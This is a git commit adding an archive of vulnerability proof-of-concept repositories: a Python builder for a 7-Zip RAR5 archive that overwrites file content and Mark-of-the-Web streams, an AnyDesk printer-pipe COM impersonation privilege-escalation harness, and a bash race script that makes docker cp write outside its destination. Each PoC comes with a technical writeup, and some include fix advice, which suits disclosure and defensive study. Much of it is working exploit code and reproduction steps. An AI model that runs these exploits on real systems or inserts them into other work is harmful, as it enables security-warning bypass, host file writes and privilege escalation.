Add exploitarium archive

This commit is contained in:
ashton
2026-06-23 00:13:35 -05:00
commit b5d099261a
99 changed files with 5715 additions and 0 deletions

5
.gitattributes vendored Normal file
View File

@@ -0,0 +1,5 @@
* text=auto
.gitattributes text eol=lf
*.sh text eol=lf
*.md text eol=lf
*.txt text eol=lf

2
.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
.DS_Store
Thumbs.db

5
7zip-rar5-motw-chain-poc/.gitignore vendored Normal file
View File

@@ -0,0 +1,5 @@
poc-run/
__pycache__/
*.pyc
.pytest_cache/

View File

@@ -0,0 +1,91 @@
# 7-Zip RAR5 MotW/ADS Full-Chain PoC
This repository contains a self-contained Python proof-of-concept for a RAR5 alternate-stream handling issue in 7-Zip 26.01 on Windows.
The crafted RAR5 archive contains one visible file entry and two RAR5 `STM` service records:
- `invoice.docx::$DATA` changes the final visible bytes of the extracted file.
- `invoice.docx:Zone.Identifier:$DATA` changes the extracted file's Mark-of-the-Web stream.
When the source archive has an Internet-zone `Zone.Identifier`, 7-Zip propagates that marker to the extracted file. The crafted stream name with a `:$DATA` suffix then writes to the same NTFS stream name as Windows resolves it on disk. The result is an extracted `invoice.docx` whose visible content and MotW stream are both controlled by archive data.
## Tested Target
- 7-Zip 26.01 x64 for Windows
- Windows NTFS destination
- Python 3.10+
## Run
Use an installed 7-Zip:
```powershell
python .\poc.py --sevenzip "C:\Program Files\7-Zip\7z.exe"
```
Or pass any 7-Zip 26.01 `7z.exe` path:
```powershell
python .\poc.py --sevenzip "C:\path\to\7z.exe" --work-dir .\poc-run
```
Expected successful output:
```text
[+] 7-Zip: 7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27
[+] archive sha256: A962DDB7A0313545521C3250EB7E01EB275F50C83DBC0466FFC94011FB4A0800
[+] final visible content: ATTACKER final visible bytes from ::$DATA stream\r\n
[+] final Zone.Identifier: [ZoneTransfer]\r\nZoneId=0\r\n
[+] VULNERABLE: full chain verified
```
## What The PoC Verifies
The script performs the full chain:
1. Builds a minimal RAR5 archive in Python.
2. Adds a normal `invoice.docx` file entry with benign-looking bytes.
3. Adds a RAR5 `STM` stream named `::$DATA` with attacker-controlled final file bytes.
4. Adds a RAR5 `STM` stream named `:Zone.Identifier:$DATA` with attacker-controlled MotW bytes.
5. Marks the source archive itself as Internet-zone with `ZoneId=3`.
6. Extracts with 7-Zip using zone propagation.
7. Checks that the extracted `invoice.docx` contains the `::$DATA` payload.
8. Checks that `invoice.docx:Zone.Identifier` contains `ZoneId=0`.
## Why It Works
7-Zip has special handling for `Zone.Identifier` propagation. It recognizes and suppresses an exact archive-provided `Zone.Identifier` alternate stream while applying the source archive's Internet-zone marker to the extracted file.
The crafted stream name uses a Windows stream type suffix:
```text
Zone.Identifier:$DATA
```
7-Zip's guard treats that as a different stream name, but NTFS resolves:
```text
file:Zone.Identifier
file:Zone.Identifier:$DATA
```
to the same alternate data stream. The archive-provided stream therefore replaces the propagated marker.
The same stream suffix behavior is used with:
```text
::$DATA
```
which targets the unnamed/default NTFS data stream of the extracted file. That is why the final visible file bytes differ from the benign main file entry.
## Files Written
The PoC writes only inside the selected work directory:
- `rar5-content-and-motw-chain.rar`
- `out\invoice.docx`
- NTFS alternate streams attached to those files
The default work directory is `.\poc-run`.

View File

@@ -0,0 +1,231 @@
from __future__ import annotations
import argparse
import binascii
import hashlib
import os
import shutil
import struct
import subprocess
import sys
from pathlib import Path
MARKER = b"Rar!\x1a\x07\x01\x00"
HFL_EXTRA = 1 << 0
HFL_DATA = 1 << 1
HT_ARC = 1
HT_FILE = 2
HT_SERVICE = 3
HT_END = 5
EXTRA_SUBDATA = 7
HOST_WINDOWS = 0
ATTR_ARCHIVE = 0x20
MAIN_NAME = "invoice.docx"
MAIN_BYTES = b"BENIGN preview bytes from main RAR5 file\r\n"
FINAL_BYTES = b"ATTACKER final visible bytes from ::$DATA stream\r\n"
FINAL_ZONE = b"[ZoneTransfer]\r\nZoneId=0\r\n"
SOURCE_ZONE = b"[ZoneTransfer]\r\nZoneId=3\r\n"
def vint(value: int) -> bytes:
if value < 0:
raise ValueError("negative vint")
out = bytearray()
while True:
b = value & 0x7F
value >>= 7
if value:
out.append(b | 0x80)
else:
out.append(b)
return bytes(out)
def block(header_type: int, header_flags: int, body: bytes, *, extra: bytes = b"", data: bytes = b"") -> bytes:
fields = bytearray()
fields += vint(header_type)
flags = header_flags
if extra:
flags |= HFL_EXTRA
if data:
flags |= HFL_DATA
fields += vint(flags)
if extra:
fields += vint(len(extra))
if data:
fields += vint(len(data))
fields += body
fields += extra
size = vint(len(fields))
crc_data = size + fields
crc = binascii.crc32(crc_data) & 0xFFFFFFFF
return struct.pack("<I", crc) + crc_data + data
def file_body(name: str, data: bytes, *, record_name: str | None = None, method: int = 0) -> bytes:
name_bytes = (record_name if record_name is not None else name).encode("utf-8")
body = bytearray()
body += vint(0)
body += vint(len(data))
body += vint(ATTR_ARCHIVE)
body += vint(method)
body += vint(HOST_WINDOWS)
body += vint(len(name_bytes))
body += name_bytes
return bytes(body)
def subdata_extra(stream_name: str) -> bytes:
data = stream_name.encode("utf-8")
rec = vint(EXTRA_SUBDATA) + data
return vint(len(rec)) + rec
def service_stream(parent_name: str, stream_name: str, payload: bytes) -> bytes:
return block(
HT_SERVICE,
0,
file_body(parent_name, payload, record_name="STM"),
extra=subdata_extra(stream_name),
data=payload,
)
def build_archive() -> bytes:
out = bytearray(MARKER)
out += block(HT_ARC, 0, vint(0))
out += block(HT_FILE, 0, file_body(MAIN_NAME, MAIN_BYTES), data=MAIN_BYTES)
out += service_stream(MAIN_NAME, "::$DATA", FINAL_BYTES)
out += service_stream(MAIN_NAME, ":Zone.Identifier:$DATA", FINAL_ZONE)
out += block(HT_END, 0, vint(0))
return bytes(out)
def sha256(path: Path) -> str:
h = hashlib.sha256()
with path.open("rb") as f:
for chunk in iter(lambda: f.read(1024 * 1024), b""):
h.update(chunk)
return h.hexdigest().upper()
def find_7z(explicit: str | None) -> Path:
candidates: list[str] = []
if explicit:
candidates.append(explicit)
found = shutil.which("7z")
if found:
candidates.append(found)
candidates.append(r"C:\Program Files\7-Zip\7z.exe")
candidates.append(r"C:\Program Files (x86)\7-Zip\7z.exe")
for candidate in candidates:
path = Path(candidate)
if path.is_file():
return path
raise SystemExit("7z.exe not found. Pass --sevenzip C:\\path\\to\\7z.exe")
def run_7z(sevenzip: Path, *args: str) -> str:
proc = subprocess.run(
[str(sevenzip), *args],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
errors="replace",
check=False,
)
if proc.returncode != 0:
raise RuntimeError(f"7-Zip failed with exit code {proc.returncode}\n{proc.stdout}")
return proc.stdout
def read_ads(path: Path, stream_name: str) -> bytes:
with open(str(path) + ":" + stream_name, "rb") as f:
return f.read()
def write_ads(path: Path, stream_name: str, data: bytes) -> None:
with open(str(path) + ":" + stream_name, "wb") as f:
f.write(data)
def printable(data: bytes) -> str:
return data.decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n")
def main() -> int:
parser = argparse.ArgumentParser(description="Verify the 7-Zip RAR5 STM MotW/ADS full chain.")
parser.add_argument("--sevenzip", help="Path to 7z.exe. Defaults to PATH or Program Files.")
parser.add_argument("--work-dir", default="poc-run", help="Directory for generated files.")
args = parser.parse_args()
if os.name != "nt":
raise SystemExit("This PoC uses Windows NTFS alternate data streams.")
sevenzip = find_7z(args.sevenzip)
work_dir = Path(args.work_dir).resolve()
if work_dir.exists():
shutil.rmtree(work_dir)
work_dir.mkdir(parents=True)
archive_path = work_dir / "rar5-content-and-motw-chain.rar"
archive_path.write_bytes(build_archive())
write_ads(archive_path, "Zone.Identifier", SOURCE_ZONE)
version = run_7z(sevenzip).splitlines()[1].strip()
listing = run_7z(sevenzip, "l", "-slt", "-sns", str(archive_path))
output_dir = work_dir / "out"
output_dir.mkdir()
extraction = run_7z(sevenzip, "x", "-y", "-snz1", f"-o{output_dir}", str(archive_path))
final_path = output_dir / MAIN_NAME
final_content = final_path.read_bytes()
final_zone = read_ads(final_path, "Zone.Identifier")
if final_content != FINAL_BYTES:
raise AssertionError(f"Final visible content mismatch: {printable(final_content)}")
if final_zone != FINAL_ZONE:
raise AssertionError(f"Final Zone.Identifier mismatch: {printable(final_zone)}")
listed_rows = [
line
for line in listing.splitlines()
if line in {
"Path = invoice.docx",
"Path = invoice.docx::$DATA",
"Path = invoice.docx:Zone.Identifier:$DATA",
"Alternate Stream = -",
"Alternate Stream = +",
}
or line.startswith("Size = ")
]
extracted_rows = [
line
for line in extraction.splitlines()
if "Everything is Ok" in line or line.startswith("Files:") or line.startswith("Alternate Streams")
]
print(f"[+] 7-Zip: {version}")
print(f"[+] archive: {archive_path}")
print(f"[+] archive sha256: {sha256(archive_path)}")
print("[+] listing evidence:")
for row in listed_rows:
print(f" {row}")
print("[+] extraction evidence:")
for row in extracted_rows:
print(f" {row}")
print(f"[+] final visible content: {printable(final_content)}")
print(f"[+] final Zone.Identifier: {printable(final_zone)}")
print("[+] VULNERABLE: full chain verified")
return 0
if __name__ == "__main__":
sys.exit(main())

26
README.md Normal file
View File

@@ -0,0 +1,26 @@
# Exploitarium
A single index repo for my public proof-of-concept and vulnerability research writeups.
Each folder is a snapshot of the original standalone repository, kept with its own README and files intact. The original repositories are still available separately on GitHub.
## Contents
| Folder | Original repo |
| --- | --- |
| `7zip-rar5-motw-chain-poc` | <https://github.com/bikini/7zip-rar5-motw-chain-poc> |
| `anydesk-printer-com-impersonation-poc` | <https://github.com/bikini/anydesk-printer-com-impersonation-poc> |
| `docker-cp-copyout-destination-escape` | <https://github.com/bikini/docker-cp-copyout-destination-escape> |
| `flowise-mcp-env-case-bypass-poc` | <https://github.com/bikini/flowise-mcp-env-case-bypass-poc> |
| `ghidra-12.1.2-rce-ace-calc-poc` | <https://github.com/bikini/ghidra-12.1.2-rce-ace-calc-poc> |
| `gitea-act-runner-container-options-poc` | <https://github.com/bikini/gitea-act-runner-container-options-poc> |
| `imagemagick-gs-delegate-hijack-poc` | <https://github.com/bikini/imagemagick-gs-delegate-hijack-poc> |
| `lunar-modrinth-chain-poc` | <https://github.com/bikini/lunar-modrinth-chain-poc> |
| `mybb-limited-acp-to-admin` | <https://github.com/bikini/mybb-limited-acp-to-admin> |
| `objdump-dlx-calc-poc` | <https://github.com/bikini/objdump-dlx-calc-poc> |
| `openvpn-connect-echo-script-ace-poc` | <https://github.com/bikini/openvpn-connect-echo-script-ace-poc> |
| `vlc-vp9-reschange-crash-poc` | <https://github.com/bikini/vlc-vp9-reschange-crash-poc> |
## Notes
This repository is an archive and index. For the most accurate context on a specific PoC, read the README inside that PoC's folder.

View File

@@ -0,0 +1,11 @@
__pycache__/
*.pyc
.venv/
venv/
*.log
*.dmp
*.exe
*.dll
*.bin
dist/
build/

View File

@@ -0,0 +1,109 @@
# AnyDesk 9.7.6 Printer Pipe COM Impersonation PoC
This repository documents and validates a local privilege-escalation primitive identified in AnyDesk for Windows 9.7.6.
The issue is in the local printer IPC path. The service-side printer worker creates `\\.\pipe\adprinterpipe`, accepts a message containing attacker-controlled COM marshaling bytes, unmarshals an `IUnknown`, queries `IStream`, and calls `IStream::Read`. Because the process initializes COM with impersonation level `RPC_C_IMP_LEVEL_IMPERSONATE`, the attacker-controlled COM object can impersonate the AnyDesk process during the callback.
## Affected Target
- Product: AnyDesk for Windows
- Version analyzed: 9.7.6
- Release date observed from vendor changelog: 2026-06-15
- Official download sample SHA256: `d83236fad1405ff369f16ad12b684a30177fe81c47c1f824f9fea6b74d64cc4a`
- Runtime payload architecture: 32-bit Windows PE
## Impact
When AnyDesk is installed as a Windows service, the service install path uses `CreateServiceW` with `lpServiceStartName = NULL`, so Windows runs the service as LocalSystem by default. A low-privileged local user that reaches the printer pipe can provide a marshaled `IStream` and receive a COM callback from the AnyDesk process. During that callback, COM impersonation allows the attacker-side object to impersonate the caller.
The practical impact is local privilege escalation from a low-privileged local user to the AnyDesk service identity. In the default installed-service case, that identity is `NT AUTHORITY\SYSTEM`.
## Evidence Summary
The following locations were identified in the reconstructed 9.7.6 runtime image:
| Area | Evidence |
| --- | --- |
| Pipe creation | `FUN_0100f190` creates `\\.\pipe\adprinterpipe` with `CreateNamedPipeW` |
| Pipe ACL | `0x100f206-0x100f229` builds `S-1-1-0`; `0x100f37b-0x100f38a` grants `GENERIC_ALL` |
| Pipe worker | `FUN_0100ed60` starts the worker and dispatches reads |
| Read boundary | `FUN_0100e9f0` reads up to `0x1000` bytes from the pipe |
| COM unmarshaling | `FUN_0100e6e0` copies attacker bytes to an `HGLOBAL`, calls `CreateStreamOnHGlobal`, then `CoUnmarshalInterface` |
| Interface callback | `FUN_0100e6e0` queries `IID_IStream`; `FUN_0100e520` calls `IStream::Read` |
| COM security | `0xf71fef-0xf72005` calls `CoInitializeSecurity` with impersonation level `3` |
| Service identity | `0xf6799e` calls `CreateServiceW` with a null service account argument |
## PoC Design
`poc.py` contains two validation paths:
- `analyze`: static marker check against an AnyDesk runtime PE.
- `selftest`: local two-process harness that reproduces the same COM flow: pipe message, `CoUnmarshalInterface(IUnknown)`, `QueryInterface(IStream)`, and `IStream::Read`.
The self-test prints the identity impersonated by the attacker-controlled `IStream::Read` implementation. This validates the COM impersonation primitive without modifying AnyDesk or launching elevated commands.
## Requirements
- Python 3.10 or newer
- Windows for `selftest`
- `pywin32` for COM and named-pipe APIs
Install dependencies:
```powershell
python -m pip install -r requirements.txt
```
## Usage
Run the local COM impersonation self-test:
```powershell
python poc.py selftest
```
Expected output shape:
```text
[attacker]
PROBE_IMPERSONATED=DOMAIN\User
[victim]
VICTIM_READ_COMPLETE
```
Run static marker analysis against a local AnyDesk runtime PE:
```powershell
python poc.py analyze path\to\AnyDesk-runtime.exe
```
Expected output shape:
```json
{
"markers": {
"pipe_name_utf16": true,
"iid_iunknown": true,
"iid_istream": true,
"co_unmarshal_import": true
}
}
```
## Root Cause
The IPC boundary trusts a pipe client enough to supply marshaled COM object data. COM unmarshaling can create a proxy to an attacker-controlled local COM server. Any method call on that proxy crosses back into attacker-controlled code. Since the AnyDesk process configures COM with impersonation enabled, the server side of that callback can impersonate the AnyDesk caller.
The pipe ACL expands the local attack surface by allowing `Everyone` access. The service identity then raises the impact because the installed service runs as LocalSystem by default.
## Fix Direction
- Do not accept marshaled COM interfaces from low-privileged pipe clients.
- Replace the marshaled `IStream` handoff with a byte-oriented protocol owned by the service.
- Restrict the pipe DACL to the exact intended service/user SID set.
- If COM must remain, use a lower impersonation level and enforce caller identity checks before unmarshaling or invoking attacker-provided interfaces.
- Add regression tests for pipe DACLs and COM security settings.
## Validation Status
The COM impersonation primitive is validated by the included harness. Static analysis ties the same primitive to the AnyDesk 9.7.6 printer pipe path. A live installed-service VM should be used for final vendor-grade confirmation of the `NT AUTHORITY\SYSTEM` identity in the real service context.

View File

@@ -0,0 +1,216 @@
import argparse
import ctypes
import json
import os
import pathlib
import struct
import subprocess
import sys
import time
import uuid
def utf16le(value):
return value.encode("utf-16le")
def analyze_binary(path):
data = pathlib.Path(path).read_bytes()
markers = {
"pipe_name_utf16": utf16le(r"\\.\pipe\adprinterpipe") in data,
"print_default_ascii": b"ad.security.print=true" in data,
"service_mode_utf16": utf16le(" --service") in data,
"iid_iunknown": bytes.fromhex("0000000000000000c000000000000046") in data,
"iid_istream": bytes.fromhex("0c00000000000000c000000000000046") in data,
"co_unmarshal_import": b"CoUnmarshalInterface" in data,
"co_initialize_security_import": b"CoInitializeSecurity" in data,
"create_named_pipe_import": b"CreateNamedPipeW" in data,
"create_service_import": b"CreateServiceW" in data,
}
result = {
"path": str(path),
"size": len(data),
"markers": markers,
"matched": sum(1 for value in markers.values() if value),
"total": len(markers),
}
print(json.dumps(result, indent=2))
return 0 if result["matched"] >= 7 else 1
def impersonated_user():
import win32api
import win32con
import win32security
ole32 = ctypes.OleDLL("ole32")
hr = ole32.CoImpersonateClient()
if hr < 0:
return f"CoImpersonateClient failed: 0x{ctypes.c_ulong(hr).value:08x}"
try:
token = win32security.OpenThreadToken(win32api.GetCurrentThread(), win32con.TOKEN_QUERY, True)
user_sid, _ = win32security.GetTokenInformation(token, win32security.TokenUser)
name, domain, _ = win32security.LookupAccountSid(None, user_sid)
return f"{domain}\\{name}"
finally:
ole32.CoRevertToSelf()
class ProbeStream:
_com_interfaces_ = []
_public_methods_ = [
"Read",
"Write",
"Seek",
"SetSize",
"CopyTo",
"Commit",
"Revert",
"LockRegion",
"UnlockRegion",
"Stat",
"Clone",
]
def Read(self, count):
print(f"PROBE_IMPERSONATED={impersonated_user()}", flush=True)
return b""
def Write(self, data):
return len(data)
def Seek(self, move, origin):
return 0
def SetSize(self, size):
return None
def CopyTo(self, other, count):
return (0, 0)
def Commit(self, flags):
return None
def Revert(self):
return None
def LockRegion(self, offset, count, lock_type):
return None
def UnlockRegion(self, offset, count, lock_type):
return None
def Stat(self, flags):
return None
def Clone(self):
return None
def marshal_probe_stream():
import pythoncom
import win32com.server.util
pythoncom.CoInitialize()
ProbeStream._com_interfaces_ = [pythoncom.IID_IStream]
obj = win32com.server.util.wrap(ProbeStream(), pythoncom.IID_IStream)
stream = pythoncom.CreateStreamOnHGlobal()
pythoncom.CoMarshalInterface(stream, pythoncom.IID_IUnknown, obj, pythoncom.MSHCTX_LOCAL, pythoncom.MSHLFLAGS_NORMAL)
size = stream.Seek(0, 1)
stream.Seek(0, 0)
return stream.Read(size), obj
def attacker(pipe_name):
import pythoncom
import win32con
import win32file
payload, keepalive = marshal_probe_stream()
message = struct.pack("<IIB", 1, len(payload), 1) + payload
handle = win32file.CreateFile(pipe_name, win32con.GENERIC_READ | win32con.GENERIC_WRITE, 0, None, win32con.OPEN_EXISTING, 0, None)
try:
win32file.WriteFile(handle, message)
deadline = time.time() + 8
while time.time() < deadline:
pythoncom.PumpWaitingMessages()
time.sleep(0.02)
finally:
keepalive = None
win32file.CloseHandle(handle)
def victim(pipe_name):
import pywintypes
import pythoncom
import win32file
import win32pipe
pythoncom.CoInitialize()
pythoncom.CoInitializeSecurity(None, None, None, 0, 3, None, 0, None)
pipe = win32pipe.CreateNamedPipe(pipe_name, 3, 0, 1, 0x1000, 0x1000, 15000, None)
try:
try:
win32pipe.ConnectNamedPipe(pipe, None)
except pywintypes.error as exc:
if exc.winerror != 535:
raise
_, data = win32file.ReadFile(pipe, 0x1000)
command, length = struct.unpack("<II", data[:8])
payload = data[9 : 9 + length]
if command != 1:
raise RuntimeError(f"unexpected command {command}")
stream = pythoncom.CreateStreamOnHGlobal()
stream.Write(payload)
stream.Seek(0, 0)
unknown = pythoncom.CoUnmarshalInterface(stream, pythoncom.IID_IUnknown)
istream = unknown.QueryInterface(pythoncom.IID_IStream)
istream.Read(32)
print("VICTIM_READ_COMPLETE", flush=True)
finally:
win32file.CloseHandle(pipe)
def selftest():
if os.name != "nt":
print(json.dumps({"error": "selftest requires Windows"}, indent=2))
return 2
pipe_name = rf"\\.\pipe\ad_printer_com_probe_{uuid.uuid4().hex}"
script = os.path.abspath(__file__)
victim_proc = subprocess.Popen([sys.executable, script, "victim", pipe_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
time.sleep(0.8)
attacker_proc = subprocess.Popen([sys.executable, script, "attacker", pipe_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
attacker_out, _ = attacker_proc.communicate(timeout=12)
victim_out, _ = victim_proc.communicate(timeout=12)
print("[attacker]")
print(attacker_out.strip())
print("[victim]")
print(victim_out.strip())
return attacker_proc.returncode or victim_proc.returncode
def main():
parser = argparse.ArgumentParser()
sub = parser.add_subparsers(dest="mode", required=True)
sub.add_parser("selftest")
analyze = sub.add_parser("analyze")
analyze.add_argument("binary")
victim_parser = sub.add_parser("victim")
victim_parser.add_argument("pipe")
attacker_parser = sub.add_parser("attacker")
attacker_parser.add_argument("pipe")
args = parser.parse_args()
if args.mode == "selftest":
raise SystemExit(selftest())
if args.mode == "analyze":
raise SystemExit(analyze_binary(args.binary))
if args.mode == "victim":
victim(args.pipe)
return
if args.mode == "attacker":
attacker(args.pipe)
return
if __name__ == "__main__":
main()

View File

@@ -0,0 +1 @@
pywin32>=306; platform_system=="Windows"

View File

@@ -0,0 +1,5 @@
* text=auto
.gitattributes text eol=lf
*.sh text eol=lf
*.md text eol=lf
*.txt text eol=lf

View File

@@ -0,0 +1,4 @@
*.tmp
*.log
docker-cp.stdout
docker-cp.stderr

View File

@@ -0,0 +1,109 @@
# Docker cp copy-out destination escape
This repository contains a minimal proof of concept for a `docker cp` copy-out path issue validated on Docker Engine 29.6.0.
The demonstrated behavior is:
> A process inside a running container can race a host-initiated `docker cp <container>:/tmp/src <host-destination>` operation so that the copy writes a container-controlled file into a sibling host path outside the requested destination.
The PoC uses `/tmp/.../dst` as the requested host destination and causes Docker's copy-out extraction to create `/tmp/.../dst2/marker`.
## What this is
- A host/operator-initiated `docker cp` copy-out destination escape.
- A container-controlled file write outside the requested host destination directory.
- A race against Docker's archive creation and local archive extraction behavior.
- Validated locally on Docker Client/Server 29.6.0, API 1.55, on June 23, 2026.
## What this is not
- Not a no-interaction container escape.
- Not a default runtime breakout from an idle container.
- Not a Docker socket or daemon API exposure.
- Not a kernel memory-corruption exploit.
- Not a demonstrated arbitrary host-root file write in every configuration.
- Not a claim that the PoC reaches every possible host path.
The host user who runs `docker cp` performs the extraction. The practical impact depends on who runs that command and where they copy container data.
## Preconditions
- The attacker controls files and processes inside a running Linux container.
- A host user runs `docker cp` from the attacker-controlled container to a host filesystem destination.
- The destination has a sibling path whose name has the requested destination as a raw string prefix. The PoC uses `dst` and `dst2`.
- The race wins while Docker is producing and extracting the copy-out tar stream.
The PoC widens the race by placing many padding files before the raced path.
## Reproduction
Run on a host that has Docker available:
```bash
chmod +x poc.sh
HOST_BASE=/tmp/docker-cp-copyout-repro ./poc.sh
```
Successful output includes:
```text
success=yes
requested_destination=/tmp/docker-cp-copyout-repro/dst
outside_marker_path=/tmp/docker-cp-copyout-repro/dst2/marker
outside_marker_value=container-controlled-host-marker
```
The requested destination is `.../dst`. The marker is written under the sibling `.../dst2`.
## Fresh validation
The packaged PoC was replayed successfully against Docker Client/Server 29.6.0:
```text
Client=29.6.0 Server=29.6.0 API=1.55
delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.075 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.100 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.150 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.200 cp_status=0 outside_marker=present link=../../../dst2
success=yes
requested_destination=/var/tmp/docker-cp-copyout-github/dst
outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker
outside_marker_value=container-controlled-host-marker
observed_symlink=/var/tmp/docker-cp-copyout-github/dst/src/dir/zzlink -> ../../../dst2
```
The validation transcript is also stored in `validation/2026-06-23-docker-29.6.0.txt`.
## Source-level notes
In Docker CLI 29.6.0, `cli/command/container/cp.go` resolves the host destination, asks the daemon for a tar stream with `CopyFromContainer`, then calls `archive.CopyTo` to extract that stream locally (`cp.go:257-338`).
On the daemon side, `daemon/archive_unix.go` creates an archive of the requested container path by opening the container filesystem and starting a `go-archive` tarballer (`archive_unix.go:40-92`). The tarballer walks the source tree with `filepath.WalkDir` and later adds the current path to the tar stream (`vendor/github.com/moby/go-archive/archive.go:693-794`). If a container process changes a directory entry after the walk has observed it but before the tar entry is added and recursed, the produced tar stream can contain a symlink at that path and then entries below the same logical path.
On the extraction side, `archive.CopyTo` prepares the destination and calls `Untar` (`vendor/github.com/moby/go-archive/copy.go:418-437`). During symlink extraction, the target is constructed with `filepath.Join(filepath.Dir(path), hdr.Linkname)` and checked with `strings.HasPrefix(targetPath, extractDir)` (`archive.go:480-490`). A path such as:
```text
extractDir=/tmp/docker-cp-copyout-repro/dst
targetPath=/tmp/docker-cp-copyout-repro/dst2
```
passes that raw prefix check even though `dst2` is outside `dst`. Later regular-file extraction opens the path normally (`archive.go:435-446`), so entries beneath the symlink are written through it into the sibling path.
Docker's container path helper also documents the general time-of-check/time-of-use caveat for scoped container paths: the returned path remains scoped only if no path component changes between resolving and using it (`daemon/container/container.go:359-363`). The PoC exercises that kind of race during copy-out archive production and combines it with the local extraction prefix issue.
## Cleanup
The PoC removes its disposable container on exit. Host output remains under `HOST_BASE` so the result can be inspected:
```bash
rm -rf /tmp/docker-cp-copyout-repro
```
## Defensive notes
Robust extraction should not rely on raw string-prefix checks for containment. A path-boundary check is better than `strings.HasPrefix`, but still does not fully address archive extraction races through symlinks. The safer design is descriptor-rooted extraction that opens path components relative to a trusted directory file descriptor and avoids following attacker-created symlinks for subsequent entries unless the target is proven to remain inside the extraction root.
Operationally, avoid running `docker cp` from containers whose contents are controlled by an untrusted party. Prefer copying from stopped containers or from immutable snapshots when the source is untrusted.

View File

@@ -0,0 +1,96 @@
#!/usr/bin/env bash
set -euo pipefail
name="docker-cp-copyout-poc-$$"
host_base="${HOST_BASE:-/tmp/docker-cp-copyout-poc-$$}"
host_dst="${host_base}/dst"
host_out="${host_base}/dst2"
attempt_log="${host_base}/attempts.log"
stdout_log="${host_base}/docker-cp.stdout"
stderr_log="${host_base}/docker-cp.stderr"
cleanup() {
docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT
rm -rf "$host_base"
mkdir -p "$host_dst" "$host_out"
docker run -d --name "$name" alpine:3.21 sleep 600 >/dev/null
docker exec "$name" sh -lc '
set -e
rm -rf /tmp/src /dst2
mkdir -p /tmp/src/dir /dst2
printf "container-controlled-host-marker\n" > /dst2/marker
i=0
while [ "$i" -lt 12000 ]; do
printf "pad-%05d-%0128d\n" "$i" 0 > "/tmp/src/dir/a$(printf "%05d" "$i")"
i=$((i+1))
done
mkdir -p /tmp/src/dir/zzlink
'
try_delay() {
local delay="$1"
rm -rf "$host_dst" "$host_out"
mkdir -p "$host_dst" "$host_out"
: > "$stdout_log"
: > "$stderr_log"
docker exec "$name" sh -lc 'rm -rf /tmp/src/dir/zzlink /tmp/swap-done; mkdir -p /tmp/src/dir/zzlink'
docker exec -d "$name" sh -lc "sleep '$delay'; rm -rf /tmp/src/dir/zzlink; ln -s ../../../dst2 /tmp/src/dir/zzlink; touch /tmp/swap-done"
set +e
docker cp "$name:/tmp/src" "$host_dst" >"$stdout_log" 2>"$stderr_log"
local cp_status=$?
set -e
local outside="absent"
if [ -f "$host_out/marker" ]; then
outside="present"
fi
local link="absent"
for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do
if [ -L "$candidate" ]; then
link="$(readlink "$candidate")"
break
elif [ -d "$candidate" ]; then
link="directory"
fi
done
printf 'delay=%s cp_status=%s outside_marker=%s link=%s\n' "$delay" "$cp_status" "$outside" "$link" | tee -a "$attempt_log"
[ "$outside" = "present" ]
}
delays=(
0.010 0.025 0.050 0.075 0.100 0.150 0.200 0.300 0.400 0.550
0.700 0.900 1.100 1.400 1.800 2.200 2.800 3.500 4.500 5.500
)
success="no"
for delay in "${delays[@]}"; do
if try_delay "$delay"; then
success="yes"
break
fi
done
echo "success=${success}"
echo "host_base=${host_base}"
echo "requested_destination=${host_dst}"
echo "outside_marker_path=${host_out}/marker"
if [ "$success" = "yes" ]; then
echo "outside_marker_value=$(cat "$host_out/marker")"
for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do
if [ -L "$candidate" ]; then
echo "observed_symlink=${candidate} -> $(readlink "$candidate")"
break
fi
done
echo "docker_cp_stdout=${stdout_log}"
echo "docker_cp_stderr=${stderr_log}"
else
echo "attempt_log=${attempt_log}"
echo "docker_cp_stderr_tail_start"
tail -n 20 "$stderr_log" || true
echo "docker_cp_stderr_tail_end"
exit 1
fi

View File

@@ -0,0 +1,44 @@
Client: Docker Engine - Community
Version: 29.6.0
API version: 1.55
Go version: go1.26.4
Git commit: fb59821
Built: Thu Jun 18 19:57:31 2026
OS/Arch: linux/amd64
Context: default
Server: Docker Engine - Community
Engine:
Version: 29.6.0
API version: 1.55 (minimum version 1.40)
Go version: go1.26.4
Git commit: 70eaf5e
Built: Thu Jun 18 19:57:31 2026
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: v2.2.5
GitCommit: e53c7c1516c3b2bff98eb76f1f4117477e6f4e66
runc:
Version: 1.3.6
GitCommit: v1.3.6-0-g491b69ba
docker-init:
Version: 0.19.0
GitCommit: de40ad0
--- poc replay ---
delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.075 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.100 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.150 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.200 cp_status=0 outside_marker=present link=../../../dst2
success=yes
host_base=/var/tmp/docker-cp-copyout-github
requested_destination=/var/tmp/docker-cp-copyout-github/dst
outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker
outside_marker_value=container-controlled-host-marker
observed_symlink=/var/tmp/docker-cp-copyout-github/dst/src/dir/zzlink -> ../../../dst2
docker_cp_stdout=/var/tmp/docker-cp-copyout-github/docker-cp.stdout
docker_cp_stderr=/var/tmp/docker-cp-copyout-github/docker-cp.stderr

View File

@@ -0,0 +1,9 @@
__pycache__/
*.pyc
.venv/
venv/
*.log
*.loader.js
*_marker.txt
dist/
build/

View File

@@ -0,0 +1,108 @@
# Flowise 3.1.2 Custom MCP Environment Variable Case Bypass PoC
